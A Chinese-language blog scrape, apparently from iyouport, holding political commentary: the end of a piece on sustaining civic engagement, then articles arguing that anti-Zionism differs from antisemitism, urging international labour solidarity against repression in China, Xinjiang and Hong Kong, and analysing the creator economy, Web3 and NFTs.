你很重要—— 您可以鼓励人们借助他们的代理机构、社团和组织，让他们采取切实的行动。强调每个人的行动都非常重要。“我们需要每个人都尽自己的责任”，不要让人们忽略自己。

“没有你我们就不能成功”，把这句话作为口号，让人们了解自己参与的重要性，进步与否就取决于他们，这样做会更好。

避免将损失归咎于超出人们控制范围的外部因素—— 这会剥夺个人的利益，并使人感觉无望。这就是为什么 IYP 在《无可言说之中言说中国》一文中强调我们不需要抱怨，而是要把注意力集中在一切可以用来突破的可能性上。

比如在 2016 年的大选中，最好说“我们没有给选民一个他们可以信赖的经济愿景”，而不是说“那些感到被遗忘的人想要改变”。这就是技巧。

– V –

Barbra Streisand 说的很有道理：People need people. 虽然人们想知道他们个人就可以有所作为，但是作为社交生物我们更喜欢在群体中发挥作用。鼓励人们组建联盟、创造和发展权力。这就是 IYP 一直在强调的。

使冲突解决成为一种有意的和频繁的做法—— 以防止发生不可修复的裂痕。与人们建立联盟，我们并不总是目光相对可以是一种强大的体验，但它也可能导致紧张和不适。

需要一些弹性—— 没有人可以做到24/7的 Open。保持公民参与可持续性的一种方法是设定人们获得“休息”时间的期望，同时仍然是解决方案的一部分。当人们需要休息时，他们可以放心地依靠盟友来传递火炬，并且可以随时返回以继续参与。活动家维系联盟的过程中应该给人们这种踏实的感觉。

– VI –

现在，让人们直接与领导者讨论首选解决方案，并获得回复。

这直接导致了将公民参与作为一种生活方式的下一个关键步骤：即 让人们从参与中获得巨大的满足感。当你努力培养自豪感和成功感时就会发生这种情况。

人们渴望社交货币—— 你需要让你动员的参与有效，这大概需要造大影响力，并得到更多媒体的支持，相关技巧可以参见我们上一篇文章中的介绍。当人们看到自己参与的活动成为了新闻头条，虽然自己只是“许多其他人”中的一员，参与感也会能调动人们的兴奋。

使用催化剂和“滋养剂”来调动进步的力量—— “进步原则”可以将人们的美好时光与糟糕的日子区分开来。请记住，进步并不意味着任务完成。它可以是小步或大步，但重点的是，让人们感知到自己正在前进。

为了显示进展，你可以使用“催化剂”。例如，对 EPA 的评论浪潮就是对抗污染的可催化时刻，与此同时，注意到 “nourishers”用赞美的声调高呼：“We did it!” 的庆祝活动。这些都能给人们带来了良好的感受，这意味着美好的日子—— 人们想要重复的那种日子。有了这些积极性，人们就更有可能做出更多追求这种感受所需要做的事—— 参与和表达。

回忆一下，不论是天津大爆炸后还是任何突发的群体抗议事件，我们在舆论中听到了更多是排他性的评价，用“那些人”做主语的句式极大程度上导致了参与的低效，和运动的难以持续。这些都应该成为教训。

– VII –

下一步是什么？让人们找到自己的位置，人们可以宣称他们是公民参与，应该能感受到自豪。

“Down with Big Brother“的车贴怎么样？给那些贡献智慧和解决方案的人颁奖怎么样？或者一个大型音乐节，让人们在社交媒体上标记自己的参与，表明他们每个人都是公民部落的一部分？在商店里出售“anonymous”的徽章，让它成为一种亚文化？……

可以做的事真的有很多，当人们找到了身份认同，一个公民参与的新时代将会自然发生。

这取决于活动家们的智慧。IYP 相信中国的活动家们可以令人骄傲。

原文

抱歉，反犹太复国主义仍然不等于反犹主义 - iyouport

社会反抗和思考

【2021年5月18日存档】批评以色列不是反犹，就如批评中国不是反华、批评美国不是反美一样，简单的道理，但为什么如此多的人总是坚持歪曲这些概念？

公开消息说，Facebook 即将决定是否将对以色列和犹太复国主义的批评正式列为仇恨言论。

这是在特朗普签署行政命令一年后，认可在美国联邦机构在调查中使用国际大屠杀纪念联盟（IHRA）的反犹主义定义。该行政命令与《反犹主义意识法》一样，是将国际大屠杀纪念联盟的定义写入法律的尝试的一部分。该定义列举了**11**个所谓的反犹主义的例子，其中**7**个明确提到了对以色列的批评。

而 The Intercept 报道，Facebook 对 “犹太复国主义” 一词的内部秘密审查规则早就存在，目的是在以色列的虐待和暴力浪潮中压制对以色列的批评。

这些规则似乎是从2019年就开始实施的，The Intercept 获得的这些内部政策规定显示，审查针对的内容不仅在 Facebook上，而且包括在其附属应用程序（如 Instagram）中使用 “犹太复国主义者” 一词的任何帖子。

Facebook 和 **Instagram** 都面临着审查的指控，因为用户批评以色列政府的帖子，包括那些记录了以色列国家暴力事件的帖子，都被不定期地大面积删除。

调查指出，根据 Facebook 的内容政策摘录，显然 Facebook 的决策者们更关心的是保护犹太复国主义的以色列定居者和以色列政府，使其免于为殖民暴力的罪行承担责任。

一些巴勒斯坦人和报道加沙的独立新闻源在 Facebook 和 Instagram

上的账户直接消失了，其他许多人报告说，他们的帖子被删除了，他们被告知违反了公司禁止的所谓“仇恨言论或符号”的规定。上周末的消息

正如巴勒斯坦运动的主要人物所指出的，这种将反犹主义和反犹太复国主义混为一谈的做法是公然企图恐吓、迫害，并最终使美国和全世界的巴勒斯坦权利运动保持沉默的手段。它建立在一个错误的假设上，即：犹太复国主义是犹太教的同义词，以色列对巴勒斯坦长达73年的占领是一个宗教运动，而不是一个由地缘政治条件和帝国联盟支持的定居者-殖民工程。近期出现的一个非常显著的消息

犹太复国主义简史

「图」

犹太复国主义诞生于19世纪的欧洲帝国主义。犹太复国主义的创始人西奥多·赫茨尔和马克斯·西蒙·诺道试图解决反犹主义的急剧上升和犹太人在欧洲日益贫困的状况，他们并不是通过对抗当时正在获得影响力的反动思想和种族主义思想，而是通过主张建立一个独立的犹太人国家。他们的建议依赖于两个假设：1、反犹主义是社会中的一个永久固定因素；获得尊重和自治的唯一途径是说服帝国列强相信在中东建立一个犹太殖民前哨的效用。

赫茨尔、诺道以及后来的世界犹太复国主义组织对取代土著居民所需的残暴行为没有幻想。事实上，赫茨尔的著作显示，从一开始，他的计划就是在帝国主义大国的帮助下，在一个已经有人居住的土地上进行殖民。赫茨尔的目标是英国，尽管他也同时瞄准德国皇帝、俄国沙皇，甚至奥斯曼帝国的苏丹（赫茨尔向苏丹提出帮助掩盖**1894–96**年的哈米德大屠杀，以换取对巴勒斯坦的控制权）。

【注：哈米德大屠杀是发生在1894年-1896年奥斯曼帝国境内对亚美尼亚人的杀戮，估计伤亡人数从80,000到300,000不等，并导致50000名儿童成为孤儿。这场大屠杀以奥斯曼帝国苏丹阿卜杜勒·哈米德二世命名，他在努力维护崩溃的奥斯曼帝国的领域时，重申泛伊斯兰主义是一种国家意识形态。】

犹太复国主义运动的创始人之一弗拉基米尔·雅博廷斯基（Vladimir Jabotinsky）在1923年写道：

> 犹太复国主义是一种殖民化的冒险，因此它的成败取决于武装力量的问题。建设很重要，讲希伯来语也很

> 重要，但不幸的是，更重要的是能够开枪 —— 否则我就不玩殖民化的游戏了。

那么，就应该根据它大力维护的现实来理解犹太复国主义：定居者殖民主义和1948年对当地巴勒斯坦人口的种族清洗。

时至今日，以色列依旧偏袒犹太公民，剥夺了大多数巴勒斯坦人的投票权、剥夺了他们购买土地、建造房屋、享受平等就业机会、行动自由、或获得医疗服务的诸多权利。数十项法规将这些不平等直接写入了法律。其结果不仅仅是一个不民主的社会—— 它根本就是一个种族隔离的国家。

在这里看到这个故事（以色列的那个部分）《先开枪，再问问题：来自世界各地的警察暴力》

（一部没能获得奥斯卡奖的优秀电影，讲述了巴勒斯坦人痛苦的故事）

犹太复国主义和社会主义？

「图」

尽管赫茨尔设想在巴勒斯坦建立一个欧洲式的君主制，但犹太复国主义运动的很大一部分人在试图把犹太复国主义和社会主义结合起来。他们创建了表面上的平等主义机构，如 Kibbutz（犹太集体），并宣传犹太复国主义 “是一个左翼运动” 的观点。

但是，这始终是一个矛盾的事业，因为犹太复国主义需要犹太人的排他性。在俄罗斯，锡安工人积极组织反对非犹太工人的劳动行动；在巴勒斯坦，成立于**1920**年的犹太复国主义工会（**Histadrut**）是一个只针对犹太人的工会，它争取在工厂和农场中用犹太工人取代阿拉伯工人。犹太复国主义工人组织公开支持反动的政治。

基布兹是土地犹太化计划的同谋。他们在巴勒斯坦的土地上建立了只属于犹太人的定居点，用武力击退了任何巴勒斯坦人夺回土地的反抗。基布兹还在哈加纳和伊尔贡中发挥了核心作用，这两个犹太民兵组织在1940年代在巴勒斯坦进行了大屠杀和种族清洗运动。他们是今天散布在被占领的西岸的非法定居点的扩大化网络的前身。

【注：1. 基布兹是以色列的一种常见的集体社区体制，传统上以务农为主，历经转型后兼事工业和高科技产业。基布兹是以色列的重要特

色，第一个基布兹建于1909年，叫Degania；

2. 哈加纳是英属巴勒斯坦托管地时期的一个犹太人准军事组织，起源于动荡的奥斯曼帝国分裂时期，在20世纪初的巴以冲突中逐渐发展，后来成为今日以色列国防军的核心；

3. 伊尔贡（ארגון），意为“组织”，是一个秘密犹太复国主义军事恐怖组织，1931年至1948年活跃于巴勒斯坦地区。现在以色列大多称呼该组织为 Etzel（אצ"ל），是其希伯来语名称缩写。曾策划恐怖袭击包括大卫王酒店爆炸案和代尔亚辛村大屠杀等。该组织后改组为以色列右翼政党赫鲁特党，演变为现在的利库德党。】

1969年，以色列工党成员大卫·哈科恩描述了犹太复国主义“社会主义”的实际含义：

> 我不得不在犹太社会主义问题上与我的朋友们斗争，为我不接受阿拉伯人加入我的工会（*Histadrut*）这一事实做辩护；为向家庭主妇宣扬她们不要在阿拉伯商店购物这一事实做辩护；为我们在果园站岗以防止阿拉伯工人在那里获得工作这一事实做辩护.... 在阿拉伯人的番茄上浇煤油，在市场上攻击犹太家庭主妇，砸碎她们刚刚买的阿拉伯鸡蛋 .....

许多犹太人组织和激进活动家的反抗可以追溯到赫茨尔的时代，他们反对犹太复国主义作为一种政治意识形态，也反对其声称代表所有犹太人民的说法。早在1910年，著名的犹太人理论家卡尔·考茨基（Karl Kautsky）就对巴勒斯坦的犹太复国主义殖民化的现实写了大量的文章：

> 在劳动权和民主自决权的基础上，今天的巴勒斯坦不属于维也纳、伦敦或纽约的犹太人，虽然他们都以犹太教而宣称，而是属于同一个国家的阿拉伯人，即人口的绝大多数。

今天的反犹太复国主义

「图」

犹太复国主义的殖民性质有助于解释为什么其领导人—— 无论过去还是现在—— 都与极右翼和暴力反犹主义的人物结盟：从**1930**年代的纳粹到今天的维克多·欧尔班或贾伊尔·博索纳罗。本雅明·内塔尼亚

胡总理并不是一个反常的人，他的极右翼主张、暴力、和扩张主义议程正是以色列从一开始就推进的。

与此同时，“反犹主义”的冷酷说法被用来攻击最基本的团结和组织形式。在美国，有217项旨在遏制巴勒斯坦权利活动家的言论的法案在州一级被提出；其中23%的法案已经被通过。如果IHRA的定义成为法律，这将意味着像“以色列是一个种族隔离的国家”这样简单的事实声明都将被视为反犹主义，违反了所谓的仇恨言论政策，在某些情况下构成仇恨犯罪。

这些措施恰恰故意扭曲了巴勒斯坦权利运动所呼吁的：让一个国家和政治运动对其种族清洗和战争罪行负责。反犹主义与此毫无关系。〇

Sorry, Anti-Zionism Still Doesn’t Equal Antisemitism

原文

抵抗中国的资本主义：国际联盟的理由 - iyouport

社会反抗和思考

【2021年5月19日存档】这篇文章相比目前一些五眼国家异议人士的立场稍高出一步，这是值得赞誉的；呼吁中国的反抗斗争与国际结盟，也是IYP一直以来的主要立场之一

【按】本文来自 “International Union Rights” 杂志第27/4期，聚焦亚洲的工会权利；您可以在这里下载本期的完整杂志。两位作者都是英国人，一位是伦敦大学亚非学院发展研究系的博士，另一位是英格兰消防工人联合会东米德兰兹郡代表。

英国劳工运动中对中国问题存在争议。争论的范围从断言中国 “仍然是一个社会主义国家”，尽管还处于 “初级阶段” ，到支持中国，理由是一个强大的中国可以对抗美国领导的经济帝国主义和军事冒险。

【注：这不是英国的特例，也是很多 “五眼” 国家异议人士的共识，我们在去年底的对话中描述过这点，他们期待多级世界。 】

抛开争议，本文将提出声援在这个新兴全球大国的腹地和心脏地带遭受资本主义剥削和国家压迫的中国工人和公民的理由。我们把在中国的抵抗等同于对一般专制主义的抵抗，无论是右翼民粹主义还是一党专政的形式。

资本主义劳动关系在中国是存在的。它们的重新引入是当年邓小平的新自由主义战略的基石，即所谓的允许 “少数人先富起来”。他们确实做到了这一点：收入最高的10%的富人赚取的收入份额从1978年的27%上升到2015年的41%。但是同期，最底层**50%**的人口的收入份额从曾经的**50%**下降到现在的**27%** 。

中国采用资本主义使数百万人摆脱了绝对贫困。但是，这种转型在环境恶化和社会不平等方面的巨大代价，必须成为国际劳工和工会运动的核心关注点。您可以在下面这本书中看到更多详细说明。

这本书在这里下载：《自杀式繁荣》

新自由主义的全球化告诉我们，团结并不是一个国家的事业，因为资本和意识形态可以轻易地跨越国界，寻找新的市场和积累的机会。

- 不要错过《为什么说中国是资本主义国家》
- 延伸/对照 《法西斯主义如何与资本主义融合以重新定义政府》

📌 反抗者也需要这样做 —— 跨国联合。例如，世界各地的工会会员和活动家可以从2010年中国汽车零部件行业非凡的罢工浪潮中得到学习，这次罢工使工资上涨了20%-30%。

民粹主义威权主义及其民族主义意识形态在全球范围内的兴起，使得全球性抵抗变得更加重要。在中国，在习的领导下，专制统治呈现出更加危险的色彩，劳工活动家、女权主义者、少数族裔和人权维护者以及其他人士，都为专制主义付出了代价。

劳工

「图」

在中国，资本主义的劳动关系受法律的约束，这些法律在纸面上看起来很合理，而且确实是在逆全球新自由主义的趋势下放松对劳动力市场的管制。但是，这些法律却被广泛忽视。缺少核心的工会权利，如结社自由和以保护罢工权为后盾的集体谈判权，是中国工人阶级被剥夺的集体权利。罢工权的概念被删除了。

1982年的中国宪法，正是在中国开始从计划经济走向市场经济的时候。

然而，中国的资本主义劳资关系并不是允许掠夺性的资本家及其代理人随意操作的。来自不同学科和角度的劳工学者都承认，中国工人阶级的积极性，包括一支人数高达2.5亿的城乡流民后备军，是中国资本主义剥削逐渐缓和的核心。

- 关于这点，见《为什么中国尚且不是 “常规” 的资本主义？》

资本主义剥削已经制度化了。这个过程中的一个分水岭是2008年通过的三部重要的劳动相关法律，大多数评论家都认为这三部法律是对不断上升的罢工和劳工抗议的回应：《劳动合同法》、《劳动争议调解

仲裁法》和《就业促进法》既证明了资本主义劳动关系在中国的普遍化，也证明了中国共产党对反抗力度和社会动荡可能发展成为对其一党统治的威胁的担忧。

换句话说，2008年的法律是急剧扩大的工人阶级越来越有能力发出自己声音的结果。

中国唯一合法的工会，即 国家控制的中华全国总工会（ACFTU），并没有能在资本主义企业中发挥其存在感，而且在很大程度上仍然局限于其传统的角色，即 在改组后的国有部门中作为国家的福利部门，善于为劳动模范聚餐和过生日，而不善于集体谈判和组织反抗。

难怪工人们常常不顾风险，自己动手争取权利。事实上，正如深圳市总工会（隶属于中华全国总工会）的一位进步官员在2009年所言，“经济罢工是常态”。事实上是如此的常态，以至于广东省的一些劳工非政府组织和劳工律师试图通过为罢工工人提供支持来减少中华全国总工会留下的组织空白：比如集体谈判和纠纷解决的培训、再比如在供应链上建立跨国联合。

然而，此后出现了一种令人讨厌的新常态。2015年，一场针对劳工活动家和劳工非政府组织工作人员的拘留和逮捕的协调性浪潮预示着这一点。

随之而来的是监禁和判决 —— 由于工会成员的国际支持，判决比许多人预期的要轻一些。此后，新常态将注意力转向了大学中出现的独立的马克思主义行动主义的趋势。当佳士科技公司的工人为争取组织工会打击非法工作场所行为的权利而罢工时，来自马克思主义读书小组的学生们租下了附近的一个公寓，协调团结。

防暴警察拘留了几十名学生，罢工者被逮捕和起诉，此后马克思主义读书小组要么重新组织，要么被大学当局关闭。

“恐怖资本主义”

「图」

习在新疆的镇压政策是针对维吾尔族和其他穆斯林少数民族的。根据目击者的证词，维吾尔人在“中国化”的幌子下，受到监视，拘留在特建的营地里，受到包括酷刑和性暴力在内的虐待。超过一百万维吾尔人被监禁。压迫就是压迫，中国国家正在进行一系列侵犯人权的行为。

上图中这本书在这里下载：https://www.patreon.com/posts/ru-jin-zhe-shi-38188062

中国政府对维吾尔人的说法是借鉴了美国领导的所谓反恐战争，并将其循环为“反恐人民战争”。

- 不要错过《新的国内反恐战争即将来临，问题是，它会遇到多少反对》
- 尤其是，这件事需要放在全球视角下才能看得更清楚，见《先开枪，再问问题》
- 以及《法西斯主义如何与资本主义融合以重新定义政府》

Darren Byler 和 Carolina Sanchez Boe 使用“恐怖资本主义”一词来描述为资本主义公司创造更多利润的镇压技术。**Byler** 和 **Boe** 总结了这一过程：国家将建造监控设备的合同招标给私人公司，并部署到目标群体，在这里是维吾尔人。

收集到的数据为新疆的镇压提供了便利，而这些技术也被进一步完善，以销往其他国家。在我们的列表-4 “作恶者：中国在帮谁” 中看到具体内容汇总。

类似于不自由的劳动力，维吾尔人被释放后经常被分配到中国各地的资本主义企业工作。有证据表明，一些“雇佣”维吾尔族劳工的工厂就是国际大品牌供应链的一部分。

📌 就像国际劳工运动一直站在抵抗美国反恐战争的最前线一样，我们也需要投入同样的精力来谴责新疆的“人民反恐战争“。

我们有能力揭露那些受益于不自由劳工的国际品牌，以及参与开发用于中国和其他地方的侵入性监控技术的科技公司。警惕 Shoshana Zuboff 所称的 “监视资本主义时代” 及其在新疆的可怕表现。

香港的民主抗爭

「图」

1997年，香港特别行政区标志着英国殖民统治的结束。英国人本质上是一个装备精良的毒枭，他们在19世纪决心在中国销售鸦片，从而获得了香港的“租借权”。英国人很少考虑民主，直到**1989**年的民主运动在中国大陆遭到残酷镇压，促使英国当局开始谨慎地走上部分民选治理的道路。

香港人提取了一些民主的功能，如新闻自由和组织工会的权利。但是，完全的民主在英国统治下并没有实现。

- 推荐内容《新自由主义的香港向世界讲述了一个什么样的故事？》

中国的主权是以‘一国两制’为前提，保证香港50年的生活方式。《基本法》用含糊的语言说明了一条通向普选的道路。但普选并没有实现。

此后的民主运动包括2003年的反23条运动（反对新《国家安全法》）；2014年的雨伞运动（争取普选）；以及2019–20年为期十个月的反引渡法运动，反对与中国大陆的引渡安排。后者导致香港警察部队军事化，在与示威者经常发生暴力冲突的过程中，有超过8000人被捕。2020年7月，北京绕过香港立法会 —— 一个部分由选举产生的议会 —— 实施了那个《国家安全法》。

反引渡法运动迅速演变成一场全面的民主运动。它包括创新的抗议形式，从商场里的群众唱歌到公民与人权阵线组织的大规模游行。2019年6月16日，CRHF的一次游行可以说吸引了多达200万人。

香港的民主运动是由许多政治成分组成的。他们的范围从寻求香港独立的少数人到左翼团体，如 Lausan Collective，他们认同其他地方的社会运动，如BLM，以及所有介于两者之间的点。

有组织的劳工对运动的生存和进步目标至关重要。这既包括传统的工会，如香港工会联合会，也包括最近组织起来的无数行业级工会。

有组织的劳工是很重要的，因为英国太古公司旗下的国泰航空等公司已经解雇了支持民主运动的员工，如客舱服务员工会领袖。2019年8月5日，一场涉及工人、学生和小企业的“三合一罢工”，出动了60多万人。

最近，焦点是要求获得组织政治罢工的权利，而目前从英国殖民者那里继承下来的香港法律是禁止政治罢工的。政治罢工可以回应‘大资本’政治，英国注册银行汇丰银行对严苛的新国安法的欢迎就是明证。为了政治目标而采取工业行动的权利，以及取消对罢工权利的限制，也是英国本土工会和其他工会的反抗者们提出的要求。

我们认为，不要用两派的眼光来看待压迫，对一切形式的专制主义的抵抗无论在哪里发生，都应该得到工运的支持。有组织的劳工和工会

一直在抵制西方的伊斯兰恐惧症，我们也必须对基于中国的维吾尔族和其他穆斯林少数民族的伊斯兰恐惧症作出同样的承诺。

- 推荐书《一路的腥风血雨：劳工运动不为人知的故事》

工会是香港人争取普选权斗争的核心，他们需要我们与他们站在一起。这些斗争与中国工人阶级的斗争是不可分割的 —— 争取结社自由、保护罢工权和充分的民主参与以及控制自己的生存生活。

团结工人不能有盲点，团结工人应该是无条件的。〇

原文

掏钱吧，亲 ... - iyouport

免费书和纪录片社会反抗和思考

互联网的新兴梦想，每一次互动都是金融交易。就如同用脏话祈祷 .....

【按】多年前就有朋友建议我为内容标价。因为当时我开始对一种现象表示困惑，即，在我看来真正有价值的内容并没有成比例地体现在阅读量上，反而是那些一次性的和常识性的内容，获得了更高的流量数字。目前这种现象一定程度上依然如此。

朋友说，“想想那个500元皮带的笑话？大多数人真的只会看价格去认识价值”。 我没有心情考证过这句话是否正确，但不论如何，知识付费恰恰是海盗党的原则所抵制的东西。因为最基本的，这意味着阶级不平等 —— 穷人活该无知吗？

更深层次的，它意味着交流变成了交易，质量不再重要，内容创建者的所有精力都放在了 “如何卖个好价钱” 上。

但是，这里有个问题。如果我们提供的一切内容都是免费的，那么我们只是那些技术公司的免费劳工。这已经很令人沮丧了，如果重要的内容得不到足够的实践和普及（这些技术公司控制算法不透明地为内容分配可见度），那么我们的工作将毫无意义。

如果我们留下的都是 “免费” 内容（即创作者没有收入）、Facebook、谷歌和标题党链接农场的耸人听闻的头条新闻，我们最终会得到一个完全同质化的网络，由游说者、娱乐业和精英基金会/智库承保的 “被批准的内容”，即 几乎没有真正的异议或独立分析的多样性。

在社交媒体上发布 “免费” 内容最终会将广告收入推向社交媒体巨头和搜索垄断巨头，而不会为内容创作者留下任何东西。

那么，如何解决这种矛盾？

本文来自对一本新书的思考，您可以在这里下载这本书《代币经济》。如果您有不同的看法，欢迎留言讨论。

在2000年为《连线》杂志撰写的一篇文章中，约翰·佩里·巴洛（John Perry Barlow）对 Napster 和点对点文件共享的兴起表示庆祝，同时嘲笑娱乐业为压制这些发展所做的努力。

当时他声称："工业时代和虚拟时代之间的冲突现在正在认真地进行着"，信息的自由扩散正在取得胜利。计算机通过切断信息与物理媒介的联系，使信息可以无限复制；他认为这意味着拥有信息已经过时了。这已经成为互联网的一个核心原则。正如另一位早期的互联网梦想家斯图尔特·布兰德（Stewart Brand）在1984年的一次会议上著名地宣称的那样，"信息渴望免费"。

巴洛使用了一个贬义词，用吓人的引号来表示任何仍然残存的专有信息："内容"。他宣称，"艺术是一种服务，而不是产品"，"创造的美是一种关系，而且是与神圣的关系。把这样的工作简化为 '内容' 就像用脏话祈祷一样"。他向读者保证，不久之后，互联网将使我们能够完全取代 "内容" 的概念。

然而，20年后，情况正好相反：一切都是内容。

借用巴洛的说法，我们都在 "用脏话祈祷"，而新兴的艺术形式是明显的产品，其特点是销售价格和所有权状态，而不是审美价值。

无论是否免费，内容仍然是一种商品，本质上是由传播它的平台塑造的，并对他们的激励措施（货币或其他）做出反应。

互联网非但没有推翻企业娱乐业，反而使我们将该行业的逻辑内化了，催生了通常所说的 "创作者经济"。一大批提供支付管理系统、分销基础设施、营销支持和系统化的人工稀缺性的中介机构正在出现，以帮助个人将其更多的在线存在商品化和货币化。中国的 "内容农场"

知识产权并没有消失，相反，它已经更深地嵌入到互联网的结构中。

为了获得令人满意的生活，创作者需要有具体的方法将大众的注意力转化为收入，使他们的产出更像所谓的知识产权的功能。

如果说互联网曾经主要被理解为鼓励信息的自由流动（实际上只是导致了平台垄断），那么新的创作者经济将发明一些方法，对用户帮助创造的看似无尽的数字财富施加稀缺性，从而使这些用户能够获得报

酬。创作者经济将抓住Web 2.0时代建立和完善的内容流通基础设施，并将其重新用于个性化的货币化。

虽然人们普遍记得布兰德说过，“信息渴望免费”，但在这之前，他说还过，“信息渴望昂贵”。

创作者经济的支柱之一是 Patreon，这是一项服务，拥有博客或播客的个人可以用来管理用户付费墙，并从其受众那里筹集资金。

【IYP有 Patreon页面，我们用来上传资料和电子书；但我们所有内容都设置为免费取用。不幸的是，这仅仅意味着我们在义务劳动——不只是为您义务劳动，更多是为了平台资本家赚钱。这是我们非常不情愿的。】

音乐家杰克·康特 (Jack Conte) 在看到他的 YouTube 广告收入减少后，于2013年成立了 Patreon 这家公司，尽管他有大量的观众。根据《连线》杂志2019年的报道，康特对 YouTube 支付的微薄费用感到“越来越愤怒”；“在一个28天的时间里，他的账户产生了1,062,569次浏览，他只得到了166.10美元的报酬。”

其他平台，包括 Twitch、Substack 和 OnlyFans，都已经成为大型社交媒体和它所提供的微薄收入潜力的类似替代品。这些替代性货币化形式的兴起，推动了集中式网络修改其自身的激励结构。

当今年早些时候，Twitter宣布其超级关注功能—— 推文的付费墙时—— 它代表了一个社交网络对Web 2.0已经结束的最新承认。

如果平台本身不提供足够的货币化工具，用户将在其他地方产生他们的内容。

Will Oremus 认为，这样的功能标志着与社交媒体的既定模式已经不同，即 通过算法排序的 feeds 来吸引用户的注意力。“用户将有意选择与他们喜爱的创作者建立持续的联系，而不是简单地相信算法会从一个巨大的、非个人化的信息库中浮现出吸引人的免费内容”，这表明社交媒体刚刚再次成为大众媒体；不是每个人都为彼此制作内容，而是，一群精英的 “创作者” 为广大 “用户” 制作内容。

当然，那些在社交媒体 “免费” 时代已经积累了大量粉丝的创作者最能从订阅平台、付费墙和有收藏价值的内容中获益，他们将继续利用由feeds驱动的社交媒体来宣传自己并吸引付费客户。同时，那些没有足够多粉丝的人，将更难实现其产出的货币化。

创作者经济高度可见的成功故事掩盖了一个巨大的用户群体，他们无法通过出售订阅来谋生，就像他们无法通过**YouTube**广告费来谋生一样。

在2018年为Verge撰写的一篇文章中，Patricia Hernandez 描述了那些花费数月或数年时间进行广播而没有观众的 Twitch 流媒体人："许多流媒体博主实际上记得自己的浏览计数器从零到一的确切时刻。"

对于每一个高调的流媒体人来说，都知道自己身边有许多其他的人在线挣钱，而订阅服务和所谓的超级关注不可能改变这种情况。但与此同时，我们将使互联网正常化，在这里，所有东西都越来越多地被出售，内容必须将自己的营销嵌入其中，以使其财务回报最大化。也就是说，我们将拥有NFTs的世界。

关于*NFT*，如果您错过了《加密货币是荷兰郁金香吗？》

NFT是被称为Web3的最明显的表现之一，这是互联网后端架构的转型，以应对 Web2.0 的局限性和不对称性。它的愿景是一个基于区块链的互联网，其工作方式不像是一个流通 "自由信息" 的开放网络，而是，更像一个内置所有权和支付基础设施的扩展矩阵。

与Web2.0一样，第三方应用程序将为普通用户调解大多数Web3活动。这些去中心化的应用程序的外观和感觉不一定与传统的网络应用程序完全不同，但可能会纳入区块链技术特别促进的功能，允许将众筹等机制直接纳入作品本身。互动将成为交易，更多类型的信息将可能在类似**NFT**的市场上进行交易。随着这种交易成为网络的基础，用户将不得不在数字钱包中持有加密货币，以便边走边支付。

Web3用一些似乎更务实的东西取代了对互联网的一个星光灿烂的愿景，即 创作者为他们生产的内容直接得到补偿，而用户永远不会被允许忘记信息流通的真正成本。Web2.0 已经表明，信息不可能是免费的；它只能被补贴，很可能是由那些腰缠万贯、利益不轨的实体来补贴。它的 "开放网络" 主要由大公司拥有的集中式服务器组成，这些公司的主导地位逐年上升。是的，互联网通常对用户是免费的，但像 "云" 这样虚无缥缈的隐喻掩盖了其日益增长的专有性质，以及它正在被整合为极少数垄断企业。

这种集中化是与互联网的后端托管同步进行的，越来越多的后端托管由亚马逊网络服务与微软和谷歌处理，就像前端的大部分由谷歌和 Facebook 处理一样。面对这些巨头，个人在没有参与的情况下实现内容货币化的努力是完全荒谬的：一个人的个人网页 vs. 一个10亿用

户的网站，不用想也知道谁是弱势。

但有了区块链和内置的交易性，情况大概会有所不同。Web3 是去中心化的，其核心是通过代币化实现内在的货币化。为存储互联网数据和验证数据传输（取代目前占主导地位的集中式服务器）的集体、点对点努力贡献计算资源的用户，以比特币或其他加密货币的形式获得补偿。

Shermin Voshmgir 在她2020年出版的《代币经济》一书中写道，区块链“引入了一个运行在当前互联网之上的治理层，它允许两个不认识的或不信任对方的人在网络上达成并解决协议”。换句话说，Web3 使互联网的传统中介机构 —— 中心化的企业平台 —— 对其持续存在变得不那么重要了，既作为其后台容量的提供者，又是通过广告收入对其内容的补贴者。

社交平台作为分销渠道的作用可能会持续下去，但它们对网络的整体重要性将有所下降。从某种意义上说，技术专家 Jaron Lanier 关于基于小额支付的互联网的老想法终于到来了，但它已被转化为小额所有权的互联网。

Web2.0 的激励机制强调数量—— 更多的帖子、更多的内容、更多的参与、更多的粉丝。一切都是免费的，这样用户就会消费更多的内容，并将更多的注意力投入到平台上，平台有各种动机来增加信息的流动性（应该收集更多的数据，更多的信息被数字化和上传，更多的用户应该产生更多的内容，等等）。这使他们与他们所依赖的内容的创作者产生了矛盾，他们已经看到，在这种情况下，赚钱的最佳途径是限制对其内容的访问，而不是让它自由流通。

但是，随着**Web3**的成熟，创作者最终将能够摒弃**Web2.0**的传统货币化方法，让他们的受众有能力直接投资甚至投机于内容，购买对应于特定图像、文本或与创作者和社区相关的代币，而这些内容继续像**Web2.0**那样广泛流通。**NFTs**代替了付费墙。

NFT 的明显新颖性在于其所有权模式，它保留了排他性的一个方面 —— 一个人拥有一个离散的数字对象 —— 而不限制该对象被广泛分享和复制的能力。也就是说，NFTs 试图同时保持流动性和稀缺性。这使得它们可能成为比付费墙更优雅的货币化解决方案。Rea McNamara 在《Hyperallergic》中写道：“这是数字创作者相互依存的新模式，由垄断性的技术巨头结构设定的注意力经济学可以被翻转为动态的货币化形式，或实现零散的所有权。”

理论上，NFT有望让创作者从传播的病毒性和所谓版权的独占性中获取价值，因为当基础内容获得更广泛的传播时，对特定NFT的所有权会变得更加有利可图。巴洛在2000年批评的版权执法工作已变得无关紧要，因为**NFT**所有权在某些方面是非排他性的。一个**NFT**的价值不在于限制其使用和收费，而主要在于其作为战利品的投机价值。因此，投机狂热吞噬了**NFT**也就不足为奇了——“（加密）货币追逐更多（加密）货币”，正如 Kenny Schachter 所写的那样。

创作者经济的最终状态，似乎是内容、金钱和个人品牌的无缝衔接，NFTs越来越多地被优化为可分享性，以最大化其货币价值。正如迪安·基西克所指出的，“艺术作品已经开始看起来更像 meme，而meme也开始看起来更像艺术作品”。不仅如此，个人的身份也可以通过 Clout Market 和 BitClout 等平台成为投机资产，这些平台允许创作者将自己铸造成NFT。BitClout 的创始人，绰号 Diamondhands，提供了这样的描述：“BitClout 背后的核心见解是，如果你能把投机和内容混合在一起，你不仅可以得到一个10倍的产品，为创作者创造创新的盈利方式，而且你还可以得到一个新的商业模式，不再是广告驱动的。”投机和内容的结合，远不是一个偶然的副产品，而是刻意的目标。投机就是内容。

